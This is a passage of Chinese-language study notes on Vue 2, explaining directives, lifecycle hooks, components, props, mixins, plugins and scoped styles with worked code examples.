  1. v-once所在节点Vue只会解析一次,在初次动态渲染后,就视为静态内容了
  2. 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>

v-pre

v-pre指令:

  1. 跳过其所在节点的编译过程
  2. 可利用它跳过没有使用指令语法、插值语法的节点,会加快编译
	<body>
		<!-- 
			
					。
					2.。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-pre>Vue其实很简单</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>

Vue自定义指令

需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。

<body>
    <div id="root">
        <h2>当前的n值是:<span v-text="n"></span> </h2>
        <!-- 多个单词用短线隔开 -->
        <!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
        <h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
        <button @click="n++">点我给n加1</button>
    </div>
    <script>
        new Vue({
            el: '#root',
            data: {
                n: 1
            },
            directives: {
                big(element, binding) {
                    element.textContent = binding.value * 10;
                    console.log(element);// 命令所在的元素节点
                    console.log(binding);// 与命令绑定的一个对象,里面包含绑定的数据,如这里binding.value表示data中的n
                },
                // 名称有短线时,用引号引起该名称
                // 'big-number'(){
                //     element.textContent = binding.value * 10;
                // }
            }
        })
    </script>
</body>

console.log(element)
console.log(binding)

image-20230425203105575

对应的全局形式

Vue.directive(big,function(element, binding) {
                    element.textContent = binding.value * 10;
                    console.log(element);// 命令所在的元素节点
                    console.log(binding);// 与命令绑定的一个对象,里面包含绑定的数据,如这里binding.value表示data中的n
                })

需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。

错误案例

<body>
    <div id="root">
        <h2>当前的n值是:<span v-text="n"></span> </h2>
        <input type="text" v-fbind="n">
        <button @click="n++">点我给n加1</button>
    </div>
    <script>
        new Vue({
            el: '#root',
            data: {
                n: 1
            },
            directives: {
                fbind(element,binding){
                    element.value=binding.value;
                    element.focus()
                }
            }
        })
    </script>
</body>

导致初始时输入框并没有获得焦点,当更新输入框数据时才获得焦点

动画4

错误原因:在命令刚完成绑定时,HTML还没有渲染到页面中,所以element.focus()此时无效。后续更新数据时,元素节点已经渲染到页面中了,这时element.focus()才起效果

解决办法是不用简写形式,Vue命令起作用有3个阶段,我们为这三个阶段对应的函数分别指定相应的操作

directives: {
    fbind:{
        // 指令与元素成功绑定时(一上来)
        bind(element,binding){
            element.value=binding.value;
        },
        // 指令所在元素被插入页面时
        inserted(element,binding){
            element.focus()
        },
        // 指令所在的模板被重新解析时
        update(element,binding) {
            element.value=binding.value;
        },
    }
}

对应的全局形式

Vue.directive('fbind',{
			//指令与元素成功绑定时(一上来)
			bind(element,binding){
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		})

总结

一、定义语法:
(1).局部指令:
new Vue({ directives:{指令名:配置对象} })


new Vue({ directives:{指令名:回调函数} })
(2).全局指令:Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
二、何时调用?

  1. 简写形式时
    (1)指令与元素成功绑定时
    (2)指令所在模板结构被重新解析时
    简写其实让bind与update函数内容一致,而未指定inserted函数内容

  2. 配置对象中常用的3个回调:
    (1).bind:指令与元素成功绑定时调用。成功绑定时还没有将html结构显示在页面上
    (2).inserted:指令所在元素被插入页面时调用。
    (3).update:指令所在模板结构被重新解析时调用。

三、备注:

  1. 指令定义时不加v-,但使用时要加v-;

  2. 指令名如果是多个单词,要使用kebab-case(短线命名),不要用camelCase(驼峰命名)

  3. 自定义命令对应的函数及自定义命令里的3个函数bind, inserted, update中的this均为window,且均有2个参数,第一个参数element指绑定的元素节点,第2个binding是一个对象,存储了这个绑定的相关信息

Vue的生命周期

该图中还有组件/Vue实例.$nextTick, activated, deactivated这3个生命周期钩子没呈现。activated, deactivated是路由组件所特有的生命周期钩子

image-20230427151303755

除了beforeUpdate和updated,其他生命周期钩子里的操作只执行一次

调用$destroy()后页面数据不再更新,残留的是销毁前的渲染

生命周期:

  1. 又名:生命周期回调函数、生命周期函数、生命周期钩子。
  2. 是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
  3. 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
  4. 生命周期函数中的this指向是vm 或 组件实例对象。

需求:让文字透明度自动周期性变化

	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 :style="{opacity}">欢迎学习Vue</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		 new Vue({
			el:'#root',
			data:{
				opacity:1
			},
			methods: {
				
			},
			// Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted。因为仅调用一次,所以这里就开启一个定时器
			mounted(){
				console.log('mounted',this)
				setInterval(() => {
					this.opacity -= 0.01
					if(this.opacity <= 0) this.opacity = 1
				},16)// 定时器时间间隔及每次变化的透明度设置得小可以让变化看起来更顺滑
			},
		})

		//通过外部的定时器实现(不推荐)
		/* setInterval(() => {
			vm.opacity -= 0.01
			if(vm.opacity <= 0) vm.opacity = 1
		},16) */
	</script>

生命周期钩子使用示例如下

	<body>
		<!-- 准备好一个容器-->
		<div id="root" :x="n">
			<h2 v-text="n"></h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="add">点我n+1</button>
			<button @click="bye">点我销毁vm</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			// template的值会代替整个el指向的容器,包括最外层包裹的标签
			// template:`
			// 	<div>
			// 		<h2>当前的n值是:{{n}}</h2>
			// 		<button @click="add">点我n+1</button>
			// 	</div>
			// `,
			data:{
				n:1
			},
			methods: {
				add(){
					console.log('add')
					this.n++
				},
				bye(){
					console.log('bye')
					this.$destroy()// 通过调用该方法销毁Vue实例
				}
			},
			watch:{
				n(){
					console.log('n变了')
				}
			},
			beforeCreate() {
				console.log('beforeCreate')
			},
			created() {
				console.log('created')
			},
			beforeMount() {
				console.log('beforeMount')
			},
			mounted() {
				console.log('mounted')
			},
			beforeUpdate() {
				console.log('beforeUpdate')
			},
			updated() {
				console.log('updated')
			},
			beforeDestroy() {
                // 在此处写结束生命周期的收尾工作。就像人快死了要立遗嘱一样。这样即使Vue生命周期是被动终结的也能做好收尾工作
				console.log('beforeDestroy')
			},
			destroyed() {
				console.log('destroyed')
			},
		})
	</script>

Vue组件

模块

  1. 理解: 向外提供特定功能的 js 程序, 一般就是一个 js 文件
  2. 为什么: js 文件很多很复杂
  3. 作用: 复用 js, 简化 js 的编写, 提高 js 运行效率

组件

  1. 理解: 用来实现局部(特定)功能效果的代码及资源的集合(html/css/js/image…..)
  2. 为什么: 一个界面的功能很复杂
  3. 作用: 复用编码, 简化项目编码, 提高运行效率

模块化:当应用中的 js 都以模块来编写的, 那这个应用就是一个模块化的应用

组件化:当应用中的功能都是多组件的方式来编写的, 那这个应用就是一个组件化的应用

Vue中使用组件的三大步骤:

一、定义组件(创建组件)
二、注册组件
三、使用组件(写组件标签)

一、如何定义一个组件?

使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;
区别如下:

  1. el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。

  2. data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系(避免一个组件数据修改时引起另一个相同组件数据的变化)
    使用template配置组件的html结构。

二、如何注册组件?

  1. 局部注册:靠new Vue的时候传入components选项
  2. 全局注册:靠Vue.component('组件名',组件)

三、如何使用组件?

在html文件中使用注册好的组件标签,如<school></school>

	<body>
		<!-- 准备好一个容器-->
		<!--  -->
		<div id="root">
			<hello></hello>
			<hr>
			<h1>{{msg}}</h1>
			<hr>
			<!-- 第三步:编写组件标签 -->
			<school></school>
			<hr>
			<!-- 第三步:编写组件标签 -->
			<student></student>
		</div>

		<div id="root2">
			<hello></hello>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		//第一步:创建school组件
		const school = Vue.extend({
			// template用来定义组件html结构,注意一定要有唯一的根标签
			template:`
				<div class="demo">
					<h2>学校名称:{{schoolName}}</h2>
					<h2>学校地址:{{address}}</h2>
					<button @click="showName">点我提示学校名</button>	
				</div>
			`,
			// el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。
			// 注意组件中的data必须写成函数
			data(){
				return {
					schoolName:'尚硅谷',
					address:'北京昌平'
				}
			},
			methods: {
				showName(){
					alert(this.schoolName)
				}
			},
		})

		//第一步:创建student组件
		const student = Vue.extend({
			template:`
				<div>
					<h2>学生姓名:{{studentName}}</h2>
					<h2>学生年龄:{{age}}</h2>
				</div>
			`,
			data(){
				return {
					studentName:'张三',
					age:18
				}
			}
		})
		
		//第一步:创建hello组件
		const hello = Vue.extend({
			template:`
				<div>	
					<h2>你好啊!{{name}}</h2>
				</div>
			`,
			data(){
				return {
					name:'Tom'
				}
			}
		})
		
		//第二步:全局注册组件。这样同一文件下的所有Vue实例都可使用该组件
		Vue.component('hello',hello)//自定义标签名,组件名

		//创建vm
		new Vue({
			el:'#root',
			data:{
				msg:'你好啊!'
			},
			//第二步:注册组件(局部注册)
			components:{
				school,
				student
			}
		})

		new Vue({
			el:'#root2',
		})
	</script>

几个注意点:

  1. 关于组件名:

    • 一个单词组成:
      • 第一种写法(首字母小写):school
      • 第二种写法(首字母大写):School
    • 多个单词组成:
      • 第一种写法(kebab-case命名):my-school
      • 第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)

    备注:
    (1).组件名尽可能回避HTML中已有的元素名称(大小写均要回避),例如:h2、H2都不行。
    (2).可以使用name配置项指定组件在开发者工具中呈现的名字。

  2. 组件标签的使用方法:

    • 第一种写法:<school></school>
    • 第二种写法:<school/>

    备注:不用使用脚手架时,<school/>会导致后续组件不能渲染

  3. 注册组件的简写形式:const school = Vue.extend(options) 可简写为:const school = options。因为组件定义时Vue会判断是否是简写形式,如果是则会调用Vue中的extend方法

	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>{{msg}}</h1>
			<school></school>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		//简写形式定义组件
		const s = {
			// 使用name配置项指定组件在开发者工具中呈现的名字
			name:'atguigu',
			template:`
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					address:'北京'
				}
			}
		}

		new Vue({
			el:'#root',
			data:{
				msg:'欢迎学习Vue!'
			},
			components:{
				school:s
			}
		})
	</script>

组件的嵌套

	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		//定义student组件。因为student是school的子组件,在school中注册student时要确保student在school之前定义了,否则会因不认识student这个组件而报错
		const student = Vue.extend({
			name:'student',
			template:`
				<div>
					<h2>学生姓名:{{name}}</h2>	
					<h2>学生年龄:{{age}}</h2>	
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					age:18
				}
			}
		})
		
		//定义school组件
		const school = Vue.extend({
			name:'school',
			// 父组件在模板中使用子组件标签
			template:`
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
					<student></student>
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					address:'北京'
				}
			},
			//注册组件(局部)
			components:{
				student
			}
		})

		//定义hello组件
		const hello = Vue.extend({
			template:`<h1>{{msg}}</h1>`,
			data(){
				return {
					msg:'欢迎来到尚硅谷学习!'
				}
			}
		})
		
		//实际开发中常定义app组件来管理所有组件
		const app = Vue.extend({
			template:`
				<div>	
					<hello></hello>
					<school></school>
				</div>
			`,
			components:{
				school,
				hello
			}
		})

		//创建vm
		new Vue({
			template:'<app></app>',
			el:'#root',
			//注册组件(局部)
			components:{app}
		})
	</script>

VueComponent

关于VueComponent:

  1. school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。
  2. 使用组件标签,Vue解析时会创建组件的实例对象,即Vue会执行new VueComponent(options)
  3. 每次调用Vue.extend,返回的都是一个全新的VueComponent构造函数
  4. 关于this指向:
  • 组件配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】
  • new Vue(options)配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】

非单文件组件

	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 使用组件时会new VueComponent实例对象 -->
			<school></school>
			<hello></hello>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		//定义school组件
		const school = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
					<button @click="showName">点我提示学校名</button>
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					address:'北京'
				}
			},
			methods: {
				showName(){
					console.log('showName',this)
				}
			},
		})

		const test = Vue.extend({
			template:`<span>atguigu</span>`
		})

		//定义hello组件
		const hello = Vue.extend({
			template:`
				<div>
					<h2>{{msg}}</h2>
					<test></test>	
				</div>
			`,
			data(){
				return {
					msg:'你好啊!'
				}
			},
			components:{test}
		})

		// 定义的组件是VueComponent构造函数
		console.log('@',school)
		console.log('#',hello)

		//创建vm
		const vm = new Vue({
			el:'#root',
			components:{school,hello}
		})
	</script>

Vue与VueComponent关系

对象的隐式原型(实例对象.__proto__)===该对象构造函数的显式原型(Constructor.prototype)

  1. 一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype
  2. 为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。

image-20230428094841388

	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<school></school>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		Vue.prototype.x = 99

		//定义school组件
		const school = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
					<button @click="showX">点我输出x</button>
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					address:'北京'
				}
			},
			methods: {
				showX(){
					console.log(this.x)
				}
			},
		})
		//创建一个vm
		const vm = new Vue({
			el:'#root',
			data:{
				msg:'你好'
			},
			components:{school}
		})
		//定义一个构造函数
		function Demo(){
			this.a = 1
			this.b = 2
		}
		//创建一个Demo的实例对象
		const d = new Demo()
		console.log(Demo.prototype === d.__proto__)
		//通过显式原型属性操作原型对象,追加一个x属性,值为99
		Demo.prototype.x = 99
		console.log(Demo.prototype) //显示原型属性
		console.log(d.__proto__) //隐式原型属性
		console.log('@',d)
	</script>
image-20230428140222588

单文件组件

image-20230428170821386

文件中的所有import会提升到文件首部

如果引入的文件没有暴露接口,引入时直接写import 文件路径,比如CSS不需要暴露接口,所以可以直接写成import style.css。如果引入的文件里面有暴露接口,引入该文件时就写import 模块名 from 文件路径,比如import Vue from 'vue'

index.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>练习一下单文件组件的语法</title>
	</head>
	<body>
		<!-- 准备一个容器 -->
		<div id="root"></div>
		<!-- 最终渲染到页面的结构
		<div>
			<div class="demo">
				<h2>学校名称:{{name}}</h2>
				<h2>学校地址:{{address}}</h2>
				<button @click="showName">点我提示学校名</button>	
			</div>
			<div>
				<h2>学生姓名:{{name}}</h2>
				<h2>学生年龄:{{age}}</h2>
			</div>
		</div> -->
		<!-- 在使用Vue前记得引入vue.js文件,注意在body尾部引入 -->
		<script type="text/javascript" src="../js/vue.js"></script>
		<script type="text/javascript" src="./main.js"></script>
	</body>
</html>

main.js

// 在main.js文件中创建Vue实例对象
// 记得引入管理所有Vue组件的App根组件
// `.vue`后缀可以省略
import App from './App.vue'

new Vue({
	el:'#root',
	template:`<App></App>`,
	components:{App},
})

App.vue

<!-- <template></template>标签不会到页面中的html中 -->
<template>
	<!-- 注意要有根标签包裹 -->
	<div>
		<School></School>
		<Student></Student>
	</div>
</template>

<script>
	//引入组件,components中引入了哪些组件就需要import哪些组件
	import School from './School.vue'
	import Student from './Student.vue'
	// 注意要暴露接口供其他文件引用(这是ES6语法)
	export default {
		// 一般都会命名组件实例在浏览器Vue插件中的名称
		name:'App',
		components:{
			School,
			Student
		}
	}
</script>

School.vue

<template>
	<div class="demo">
		<h2>学校名称:{{name}}</h2>
		<h2>学校地址:{{address}}</h2>
		<button @click="showName">点我提示学校名</button>	
	</div>
</template>

<script>
	 export default {
		name:'School',
		data(){
			return {
				name:'尚硅谷',
				address:'北京昌平'
			}
		},
		methods: {
			showName(){
				alert(this.name)
			}
		},
	}
</script>

<style>
	.demo{
		background-color: orange;
	}
</style>

Student.vue

<template>
	<div>
		<h2>学生姓名:{{name}}</h2>
		<h2>学生年龄:{{age}}</h2>
	</div>
</template>

<script>
	 export default {
		name:'Student',
		data(){
			return {
				name:'张三',
				age:18
			}
		}
	}
</script>

创建脚手架

说明

  1. Vue 脚手架是 Vue 官方提供的标准化开发工具(开发平台)。
  2. 文档: https://cli.vuejs.org/zh/

具体步骤

第一步(仅第一次执行):全局安装@vue/cli。

npm install -g @vue/cli

第二步:切换到你要创建项目的目录,然后使用命令创建项目

vue create xxxx

第三步:启动项目

npm run serve

如出现下载缓慢请配置国内镜像

脚手架文件结构

image-20230428191332210 image-20230428211457619

脚手架配置

  1. Vue 脚手架隐藏了所有 webpack 相关的配置,若想查看具体的 webpack 配置,请在终端执行:vue inspect > output.js,执行命令后项目文件夹下会生成output.js文件,里面包含了Vue脚手架所有默认的配置。

​ 以脚手架默认的配置,以下文件名称如果被修改则会报错

image-20230428212840116
  1. 通过vue.config.js配置文件可以修改脚手架部分默认配置,详情见:https://cli.vuejs.org/zh/config/。不用死记,需要时查阅即可

image-20230428215056486

render函数

  1. vue版本

    • vue.js是完整版的Vue,包含:核心功能+模板解析器
    • 带有runtime的是运行版的Vue,只包含:核心功能;没有模板解析器。这样体积更小
    • 带有common的版本适用于用common.js进行模块化的项目
    • 带有esm的版本适用于用ES6进行模块化的版本。如import App from './App.vue'是属于ES6引入模块的语法
    image-20230428201344656
    1. 因为vue.runtime.xxx.js没有模板解析器,所以main.js中不能使用template配置项,需要使用render函数接收到的createElement函数去指定具体内容

render是用于编程式地创建组件虚拟 DOM 树的函数,功能相当于template,但更加灵活,配置了render就不需要配置template,即使配置了也会失效。render的参数是函数createElement(tagName, 标签内容)createElement(组件名)

new Vue({

     el:'#app',
    
     // render(createElement){
    
     //  return createElement('h1','hello!')
    
     // }
    
     // 简写为箭头函数的形式,并用h代替函数名,为什么h可以替代函数名?h有什么特殊意义
    
     render: h => h(App),//
    
     // template:`<h1>你好啊</h1>`,// 配置了render就不需要配置template了
    
     components:{App},

   })

ref属性

image-20230429164127567
  1. 被用来给元素或子组件注册引用信息(id的替代者)
  2. 应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象(vc)
  3. 使用方式:
    1. 打标识:<h1 ref="xxx">.....</h1><School ref="xxx"></School>
    2. 获取:this.$refs.xxx
<template>
	<div>
		<h1 v-text="msg" ref="title"></h1>
		<button ref="btn" @click="showDOM">点我输出上方的DOM元素</button>
		<School ref="sch"/>
		<School id="sch"/>
	</div>
</template>

<script>
	//引入School组件
	import School from './components/School'

	export default {
		name:'App',
		components:{School},
		data() {
			return {
				msg:'欢迎学习Vue!'
			}
		},
		methods: {
			showDOM(){
				console.log(this.$refs.title) //真实DOM元素
				console.log(this.$refs.btn) //真实DOM元素
				console.log(this.$refs.sch) //School组件的实例对象(vc)
				console.log(document.getElementById('sch'));// School组件对应的template标签中的HTML结构, 真实的DOM结构
			}
		},
	}
</script>

image-20230429141543337

App组件的$refs属性值是一个存储该模板所有具有ref属性节点的对象

image-20230429142844693

props配置

需求:页面中要复用多个<Student/>结构,但是数据不一样。那么这时需要给Student组件配置props属性。

image-20230429164127567

App.vue

<template>
	<div>
		<!-- 通过标签属性将值传给props -->
		<!-- 因为属性值必须要有引号,引号里默认就是字符串类型,所以注意age前加`:`表示v-bind绑定的可变属性,这样引号里的就是JS表达式,传入的数字就不会变成字符串了 -->
		<Student name="李四" sex="女" :age="18"/>
		<Student name="张三" sex="男" :age="19"/>
	</div>
</template>

<script>
	import Student from './components/Student'

	export default {
		name:'App',
		components:{Student}
	}
</script>

Student.vue

<template>
	<div>
		<h1>{{msg}}</h1>
		<h2>学生姓名:{{name}}</h2>
		<h2>学生性别:{{sex}}</h2>
		<!-- 强制将字符串变成数字的另外一种方法是给字符串乘1 <h2>学生年龄:{{age*1+1}}</h2> -->
		<h2>学生年龄:{{myAge+1}}</h2>
		<button @click="updateAge">尝试修改收到的年龄</button>
	</div>
</template>

<script>
	export default {
		name:'Student',
		data() {
			console.log(this)
			return {
				msg:'我是一个尚硅谷的学生',
				myAge:this.age // 通过这种方法修改外部传给的props(就是把props对应的属性值传给data中对应的属性,然后修改data中的数据,模板显示的也是data中的数据)
			}
		},
		methods: {
			updateAge(){
				this.myAge++
			}
		},
		//简单声明接收
		// props:['name','age','sex'] 

		//接收的同时对数据进行类型限制
		/* props:{
			name:String,
			age:Number,
			sex:String
		} */

		//接收的同时对数据:进行类型限制+默认值的指定+必要性的限制
		props:{
			name:{
				type:String, //name的类型是字符串
				required:true, //name是必要的
			},
			age:{
				type:Number,
				default:99 //默认值
			},
			sex:{
				type:String,
				required:true
			}
		}
	}
</script>

props配置

  1. 功能:让组件接收外部(标签上配置的属性)传过来的数据,props中的值会直接成为vm或vc的属性,同时也会出现在_props$props属性中,但_data中不会有props中的值
image-20230429234730515 image-20230430094749743

image-20230430095000873

  1. 传递数据:<Demo name="xxx"/>

  2. 接收数据:

    1. 第一种方式(只接收,props此时写成数组形式):props:['name']

      1. 第二种方式(限制类型):props:{name:String}
    2. 第三种方式(限制类型、限制必要性、指定默认值):required:ture一般不会和默认值如default:'老王'同时出现,因为必要的值一定会有个值传入,所以不需要默认值

    props:{
     name:{
     type:String, //类型
     required:false, //必要性, ture表示必要
     default:'老王' //默认值
     },
     age:{
        type:Number,
        required:ture
     }
    }
    

备注:props是只读的,优先级高于data中的数据,Vue底层会监测你对props的修改(只能检测一层),如果进行了修改,就会发出警告。通过props传递复杂类型数据本质是传递了地址(浅拷贝),所以修改props深层(非第一层)的数据会影响数据源组件data数据的变化(不建议修改props)。若业务需求确实需要修改,那么请复制props的内容复制到接收props的组件中的data中一份,然后去修改data中的数据,拷贝的是复杂数据类型,会引起源组件data数据的改变

比如:
export default { props:['name','age','sex'] data(){ return{ myAge:this.age } } }

mixin(混入)

  1. 功能:可以把多个组件共用的配置提取成一个混入对象

  2. 使用方式:

    1. 定义混合:

    { data(){....}, methods:{....} .... }

    1. 使用混入:

      • 全局混入:在main.js文件中写,并且引入混合文件
        import {混合配置对象1, 混合配置对象2...} from 混合配置文件路径 Vue.mixin(xxx)
      • 局部混入:在定义组件时写上混合配置mixins:[混合配置对象1, 混合配置对2...]
image-20230429165752957

main.js

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
// 记得引入模块
import {hunhe,hunhe2} from './mixin'
//关闭Vue的生产提示
Vue.config.productionTip = false
// 全局配置混入,所有vm及组件都会配置该混入。
Vue.mixin(hunhe)
Vue.mixin(hunhe2)


//创建vm
new Vue({
	el:'#app',
	render: h => h(App)
})

mixin.js(文件名不固定,不一定叫mixin)

// 记得export暴露
export const hunhe = {
	// 对象里可以写任何的组件可配置项
	methods: {
		showName(){
			alert(this.name)
		}
	},
	mounted() {
		console.log('你好啊!')
	},
}
export const hunhe2 = {
	data() {
		return {
			x:100,
			y:200
		}
	},
}

App.vue

<template>
	<div>
		<School/>
		<hr>
		<Student/>
	</div>
</template>

<script>
	import School from './components/School'
	import Student from './components/Student'

	export default {
		name:'App',
		components:{School,Student}
	}
</script>

School.vue

<template>
	<div>
		<h2 @click="showName">学校名称:{{name}}</h2>
		<h2>学校地址:{{address}}</h2>
	</div>
</template>

<script>
	//引入mixin
	// import {hunhe,hunhe2} from '../mixin'

	export default {
		name:'School',
		data() {
			return {
				name:'尚硅谷',
				address:'北京',
				// data中有与混入相同的属性时,以组件自身的属性为准
				x:666
			}
		},
		// 局部引入mixin
		// mixins:[hunhe,hunhe2],
	}
</script>

Student.vue

<template>
	<div>
		<h2 @click="showName">学生姓名:{{name}}</h2>
		<h2>学生性别:{{sex}}</h2>
	</div>
</template>

<script>
	// import {hunhe,hunhe2} from '../mixin'

	export default {
		name:'Student',
		data() {
			return {
				name:'张三',
				sex:'男'
			}
		},
		// mixin与组件自身都有mounted时,都会执行
		mounted() {
		console.log('你好啊!')
		}
		// mixins:[hunhe,hunhe2]
	}
</script>

由浏览器的Vue插件知,vm及vc总共有4个,所以这里控制台会输出4次“你好啊!”

image-20230429171737085

image-20230429171600274

插件

  1. 功能:用于增强Vue

  2. 本质:包含install方法的一个对象,install的第一个参数是Vue,第二个以后的参数是插件使用者传递的数据。

  3. 定义插件:

    export default {
      install (Vue, options) {
        // 1. 添加全局过滤器
        Vue.filter(....)
    
        // 2. 添加全局指令
        Vue.directive(....)
    
        // 3. 配置全局混入(合)
        Vue.mixin(....)
    
        // 4. 添加实例方法
        Vue.prototype.$myMethod = function () {...}
        Vue.prototype.$myProperty = xxxx
      }
    }
    
  4. 使用插件:Vue.use(插件名,除Vue构造函数外的其他参数们)

main.js

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//引入插件
import plugins from './plugins'
//关闭Vue的生产提示
Vue.config.productionTip = false

//调用插件Vue.use(插件名,除Vue构造函数外的其他参数们)
Vue.use(plugins,1,2,3)
//创建vm
new Vue({
	el:'#app',
	render: h => h(App)
})

plugin.js

export default {
	// 第一个参数是Vue构造函数,其他参数时候自定义传入的
	install(Vue,x,y,z){
		console.dir(Vue);
		console.log(x,y,z)
		//全局过滤器
		Vue.filter('mySlice',function(value){
			return value.slice(0,4)
		})

		//定义全局指令
		Vue.directive('fbind',{
			//指令与元素成功绑定时(一上来)
			bind(element,binding){
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		})

		//定义混入
		Vue.mixin({
			data() {
				return {
					x:100,
					y:200
				}
			},
		})

		//给Vue原型上添加一个方法(vm和vc就都能用了)
		Vue.prototype.hello = ()=>{alert('你好啊')}
	}
}

School.vue

<template>
	<div>
		<!-- 使用全局过滤器 -->
		<h2>学校名称:{{name | mySlice}}</h2>
		<h2>学校地址:{{address}}</h2>
		<button @click="test">点我测试一个hello方法</button>
	</div>
</template>

<script>
	export default {
		name:'School',
		data() {
			return {
				name:'尚硅谷atguigu',
				address:'北京',
			}
		},
		methods: {
			test(){
				// 使用通过插件给Vue.prototype添加的方法
				this.hello()
			}
		},
	}
</script>

Student.vue

<template>
	<div>
		<h2>学生姓名:{{name}}</h2>
		<h2>学生性别:{{sex}}</h2>
		<!-- 使用全局指令v-fbind, 输入框会有name值,并聚焦 -->
		<input type="text" v-fbind:value="name">
	</div>
</template>

<script>
	export default {
		name:'Student',
		data() {
			return {
				name:'张三',
				sex:'男'
			}
		},
	}
</script>

image-20230429194405721

scoped样式

配置了scoped属性的<style>,当<template>中有标签使用里面的样式时,整合页面时会随机生成一个属性,

  1. 作用:让样式在组件内部生效,防止组件间CSS选择器名称相同导致的样式冲突。
  2. 写法:<style scoped>
image-20230429204118889

App.vue

<template>
	<div>
		<h1 class="title">你好啊</h1>
		<School/>
		<Student/>
	</div>
</template>

<script>
	import Student from './components/Student'
	import School from './components/School'

	export default {
		name:'App',
		components:{School,Student}
	}
</script>
<!-- App组件中的<style>不需要加scoped,一般在App.vue里的样式是所有组件都能用的。即使加了scoped还是所有组件都能用 -->
<style>
	.title{
		color:red;
	}
</style>

School.vue

<template>
	<div class="demo">
		<h2 class="title">学校名称:{{name}}</h2>
		<h2>学校地址:{{address}}</h2>
	</div>
</template>

<script>
	export default {
		name:'School',
		data() {
			return {
				name:'尚硅谷atguigu',
				address:'北京',
			}
		}
	}
</script>
<!-- 加了scoped后就限定CSS选择器样式只能在该组件范围内用 -->
<style scoped>
	.demo{
		background-color: skyblue;
	}
</style>

Student.vue

<template>
	<div class="demo">
		<h2 class="title">学生姓名:{{name}}</h2>
		<h2 class="atguigu">学生性别:{{sex}}</h2>
	</div>
</template>

<script>
	export default {
		name:'Student',
		data() {
			return {
				name:'张三',
				sex:'男'
			}
		}
	}
</script>

<style scoped>
	.demo{
		background-color: pink;
	}
</style>

App.vue <style>标签中的scoped所生成的属性码,因为App组件包含了所有组件,<style>即使添加scoped属性,所有组件都会生成相同的属性码,所以还是所有组件都可使用App.vue中的CSS选择器

image-20230429204007090

image-20230429204036290

todoList实例

  1. 组件化编码流程:

    (1).拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突。

